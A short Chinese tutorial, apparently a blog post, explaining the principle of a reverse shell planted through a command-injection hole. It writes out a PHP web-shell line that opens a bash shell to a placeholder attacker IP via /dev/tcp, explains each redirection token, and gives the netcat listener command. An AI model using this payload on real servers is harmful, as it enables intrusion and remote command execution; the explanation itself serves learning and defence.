反弹shell原理和实现

当一些框架和代码,不小心让可执行shell命令的函数存在注入漏洞时,会被利用注入漏洞执行一些shell命令。入侵者为了防止漏洞被修复,无法通过正向链接侵入服务器时,会被利用shell反弹原理种马。

首先,侵入者会利用注入参数,创建一个shell.php文件,文件内容如下

exec('bash -i &> /dev/tcp/侵入者的ip地址/5566 0>&1');

这条命令的作用是,在被入侵服务器建立一个可以与 侵入者ip地址,端口为5566的连接进行交互的shell

bash -i 建立一个交互可交换的shell命令
0		STDIN_FILENO,标准输入(一般是键盘)
1		STDOUT_FILENO,标准输出(一般是显示屏,准确的说是用户终端控制台)
2		STDERR_FILENO,标准错误(出错信息输出)
& 		表示混合输出,即1+2
> 		表示输出出到文件,>>追加到文件
/dev/tcp/127.0.0.1/5566	 这是一个特殊文件,它会建立一个连接到127.0.0.1:5566的socket
0>&1  	使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中
		就是把127.0.0.1:5566终端的shell输入内容,放入了socke中,shell.php所在的终端会接收该输出并执行
>后面的的&,是为了让bash将1解释成标准输出而不是文件1

然后,通过web访问并执行shell.php文件

最后,侵入者在自己的服务器命令行中,执行如下代码
建立一个监听5566端口的服务

nc -lvp 5566

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

然后就能在命令行中执行任意shell命令
这些命令会被在被入侵服务器,以shell.php文件创建者的权限执行

你可能感兴趣的:(后端,服务器,安全,php)